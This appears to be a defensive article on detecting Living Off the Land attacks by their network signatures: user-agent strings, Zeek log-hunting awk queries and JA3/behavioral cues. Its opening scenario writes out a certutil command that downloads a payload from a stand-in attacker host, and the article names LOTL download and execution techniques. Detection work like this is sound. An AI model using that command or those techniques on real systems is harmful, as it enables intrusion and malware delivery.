LOTL Network Fingerprints
Living Off the Land (LOTL) attacks use built-in Windows tools (certutil, bitsadmin, mshta, wmic, PowerShell, Regsvr32, Rundll32) to avoid deploying custom malware. While these tools blend in on the endpoint, they generate distinctive network patterns: certutil downloads from unusual domains, bitsadmin background transfers, PowerShell downloading scripts via HTTPS, mshta loading remote HTA files. These network signatures are reliable even when endpoint logs are absent or tampered with.
An APT operator on a compromised Windows host uses certutil.exe -urlcache -f http://attacker.com/payload.bin C:\Windows\Temp\p.exe to download a second-stage payload. On the network: a GET request to attacker.com with User-Agent Microsoft-CryptoAPI/10.0 — certutil's distinctive User-Agent that no browser would ever send. Zeek's http.log captures this. No endpoint detection fired because the attacker had disabled the AV. The network was the only telemetry source.
LOTL Tool Network Fingerprints
| Tool | Technique | Network Fingerprint | Detection Query |
|---|---|---|---|
| certutil.exe | File download / base64 decode | UA: Microsoft-CryptoAPI/10.0 | http.user_agent contains "CryptoAPI" |
| bitsadmin.exe | Background file download | UA: Microsoft BITS/7.8 | http.user_agent contains "BITS" |
| PowerShell WebClient | Download + execute | UA: Mozilla/5.0 (Windows NT...) WindowsPowerShell/5.1 | http.user_agent contains "PowerShell" |
| mshta.exe | Remote HTA execution | GET request for .hta file; UA: Mozilla/4.0 (MSHTML...) | http.uri endswith ".hta" |
| wmic.exe | Remote process creation via WMI | DCERPC to target on port 135 | Port 135 fan-out from unusual source |
| Regsvr32 (squiblydoo) | Remote scriptlet | GET for .sct/.xml file; UA varies | http.uri endswith ".sct" |
| rundll32.exe | DLL execution + download | HTTP GET for DLL from unusual location | GET for .dll to external IP |
| curl.exe (Win10+) | File download | UA: curl/7.x.x | http.user_agent startswith "curl" from workstation |
| Excel 4.0 Macros | Remote payload via macro | Excel-specific HTTP GET; UA: Microsoft Excel/16.0 | http.user_agent contains "Excel" to external |
LOTL Detection Queries
#!/bin/bash
LOG_DIR="${1:-/opt/zeek/logs/current}"
echo "=== certutil downloads (Microsoft-CryptoAPI UA) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$12 ~ /CryptoAPI/ {
print $1"\t"$3"\t"$5"\t"$7"\t"$9"\t"$12
}' | head -20
echo ""
echo "=== bitsadmin downloads (BITS UA) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$12 ~ /Microsoft BITS/ {
print $1"\t"$3"\t"$5"\t"$9
}' | head -20
echo ""
echo "=== PowerShell downloads ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$12 ~ /PowerShell/ {
print $1"\t"$3"\t"$5"\t"$9"\t"$12
}' | head -20
echo ""
echo "=== Remote HTA execution (mshta) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$9 ~ /\.hta([?#]|$)/ {
print $1"\t"$3"\t"$5"\t"$9
}' | head -20
echo ""
echo "=== Remote .sct / .xml scriptlets (squiblydoo/Regsvr32) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$9 ~ /\.(sct|wsh|wsf)([?#]|$)/ {
print $1"\t"$3"\t"$5"\t"$9
}' | head -20
echo ""
echo "=== Excel HTTP requests to external (macro dropper) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$12 ~ /Microsoft Excel/ &&
$5 !~ /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/ {
print $1"\t"$3"\t"$5"\t"$9"\t"$12
}' | head -20
echo ""
echo "=== curl from workstation (unusual outbound) ==="
awk 'NR>8 && !/^#/' "$LOG_DIR/http.log" 2>/dev/null | \
awk -F'\t' '$12 ~ /^curl\// &&
$5 !~ /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/ {
print $1"\t"$3"\t"$5"\t"$9"\t"$12
}' | head -20LOTL techniques are specifically chosen to evade endpoint detection: the attacker uses signed, trusted Windows binaries that EDR products often allowlist. certutil.exe is a legitimate Microsoft tool; blocking all certutil network connections would break certificate revocation checking. The network signature — the User-Agent string — is harder to evade without modifying the tool itself (which would break its signature and potentially trigger detection). Microsoft-CryptoAPI/10.0 is hard-coded in certutil.exe; changing it requires patching the binary. An attacker who patches certutil becomes detectable by binary hash. LOTL network fingerprints work because: (1) The UA strings are baked into the Windows binaries, (2) Most attackers use the tools as-is without modification, (3) These User-Agents never appear in legitimate browser traffic. Combined LOTL detection: look for LOTL User-Agent + external destination + source is a workstation (not a server) + time is outside business hours. This combination has very few false positives in production environments.
Q & A
Q: A sophisticated attacker modifies PowerShell's UA string to look like Chrome. How do I detect this?
When an attacker spoofs the User-Agent to bypass LOTL detection, you need behavioral indicators that don't rely on the UA string. For PowerShell specifically: (1) TLS fingerprint mismatch: PowerShell uses the .NET TLS stack, which produces a different JA3 fingerprint than Chrome. A "Chrome" User-Agent with a .NET JA3 hash (like 72a589da586844d7f0818ce684948eea for .NET 4.x) is a clear anomaly. (2) Connection timing: browsers open multiple parallel connections per page load. PowerShell typically opens one sequential connection. A single "Chrome" connection that POSTs data and closes, with no subsequent resource loads (CSS, JS, images), looks like a script, not a browser. (3) Certificate validation behavior: PowerShell's default WebClient validates certificates; attackers who disable validation send a detectable TLS alert or connection failure pattern. (4) HTTP/2 capability: modern Chrome uses HTTP/2 (ALPN "h2"). A PowerShell WebClient that doesn't negotiate HTTP/2 but reports a Chrome UA is inconsistent. (5) Behavioral context: a Chrome UA making a GET request for a file named payload.bin or a .ps1 file is inconsistent with browser behavior — combine UA with URI pattern.